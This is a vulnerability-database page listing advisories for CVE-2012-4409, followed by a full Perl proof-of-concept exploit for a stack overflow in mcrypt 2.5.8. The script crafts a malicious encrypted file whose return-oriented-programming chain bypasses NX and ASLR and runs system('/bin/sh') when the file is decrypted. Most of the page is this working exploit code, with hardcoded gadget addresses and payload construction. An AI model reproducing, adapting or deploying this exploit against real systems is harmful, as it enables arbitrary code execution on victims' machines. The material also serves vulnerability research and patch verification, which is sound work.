| Reporter | Title | Published | Views | Family All 34 |
|---|---|---|---|---|
| mcrypt <= 2.5.8 STACK based overflow Vulnerability | 24 Nov 201200:00 | – | zdt | |
| CVE-2012-4409 | 26 Nov 201200:00 | – | circl | |
| CVE-2012-4409 | 21 Nov 201223:00 | – | cve | |
| CVE-2012-4409 | 21 Nov 201223:00 | – | cvelist | |
| CVE-2012-4409 | 21 Nov 201223:00 | – | debiancve | |
| mcrypt 2.5.8 - Local Stack Overflow | 26 Nov 201200:00 | – | exploitdb | |
| mcrypt 2.5.8 - Local Stack Overflow | 26 Nov 201200:00 | – | exploitpack | |
| [SECURITY] Fedora 18 Update: mcrypt-2.6.8-9.fc18 | 17 Sep 201222:15 | – | fedora | |
| [SECURITY] Fedora 16 Update: mcrypt-2.6.8-10.fc16 | 8 Nov 201201:52 | – | fedora | |
| [SECURITY] Fedora 16 Update: mcrypt-2.6.8-9.fc16 | 19 Sep 201203:11 | – | fedora |
#!/usr/bin/perl
# Title : mcrypt <= 2.5.8 STACK based overflow
# Date : 23/11/2012
# Exploit Author : Tosh
# CVE : CVE-2012-4409
# Patch : http://www.openwall.com/lists/oss-security/2012/09/06/8
# Tested on : Archlinux 3.6.6-1, without SSP
# This script exploit a stack based overflow in mcrypt <= 2.5.8.
# It bypass NX and ASLR protections, but no SSP.
# This exploit craft a crypted file and arbitrary code may be executed if the file is decrypted with a vulnerable version
# of mcrypt. The vulnerable function is check_file_head(), present in src/extra.c. See the CVE details or the patch for more
# informations.
# Payload must be adjusted on others plateforms, here is just a Proof of Concept :)
use strict;
use warnings;
my $filename = 'fake.nc';
my $file;
my $payload;
print "[+] Build payload.\n";
$payload = payload();
print "[+] Build file.\n";
$file = build_file($payload);
print "[+] Writing $filename.\n";
write_file();
print "[+] DONE.\n";
sub write_file {
die("[-] Can't open $filename : $!\n") unless(open F, '>', $filename);
print F $file;
close F;
}
sub build_file {
# magic
$file .= "\x00m\x03";
# flags
$file .= pack('C', 1 << 6);
# algorithm
$file .= "H\@Ck3d\x00";
# keysize
$file .= pack('S', 0xdead);
# mode
$file .= "h\@cK3d\x00";
# keymode
$file .= "H\@CK3D\x00";
# sflags
$file .= "\xff";
# payload
$file .= $_[0];
return $file;
}
sub payload {
my $saved_eip_off = 0x71; # Buffer len for overwrite saved EIP
my $v_local_1 = 0x0805b000; # Local variable 1 overwriten
my $v_local_2 = 0x08048007; # Local variable 2 overwriten
my $ret_sled = 5; # Offset between saved EIP and local variables
my $strcpy_plt = 0x080499f0; # strcpy@plt address
my $fopen64_got = 0x0805b1c8; # fopen64 got entry
my $system_off = 0xfffd6b30; # fopen64 - system
my $w_mem = 0x0805b000; # writable memory, without ASLR
my $pop2_ret = 0x08055a63; # pop; pop; ret
my $ret = 0x0805a5ed; # ret
my $pop_ebx = 0x08056186; # pop ebx; ret
my $pop_edi = 0x08053460; # pop edi; ret
my $xchg_eax = 0x080517a4; # xchg eax, edi; ret
my $add_eax = 0x0804dabf; # add eax,[ebx-0x2776e73c]; pop ebx; ret
my $call_eax = 0x0804b357; # call eax; leave; ret
my $payload;
$payload .= "A"x$saved_eip_off;
$payload .= pack('L', $ret) x $ret_sled;
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $v_local_1);
$payload .= pack('L', $v_local_2);
# Copy "/bin/" in +W memory
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $w_mem + 0x00);
$payload .= pack('L', 0x08057fc2);
# Copy "sh" + "\x00" in +W memory
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $w_mem + 0x05);
$payload .= pack('L', 0x08048bab);
# Calc system() address with fopen64 GOT entry
$payload .= pack('L', $pop_ebx);
$payload .= pack('L', $fopen64_got + 0x2776e73c);
$payload .= pack('L', $pop_edi);
$payload .= pack('L', $system_off);
$payload .= pack('L', $xchg_eax);
$payload .= pack('L', $add_eax);
$payload .= "HaCk";
# Call system("/bin/sh")
$payload .= pack('L', $call_eax);
$payload .= pack('L', $w_mem);
die("[-] Payload too long !\n") if(length $payload > 0xfe);
return $payload;
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation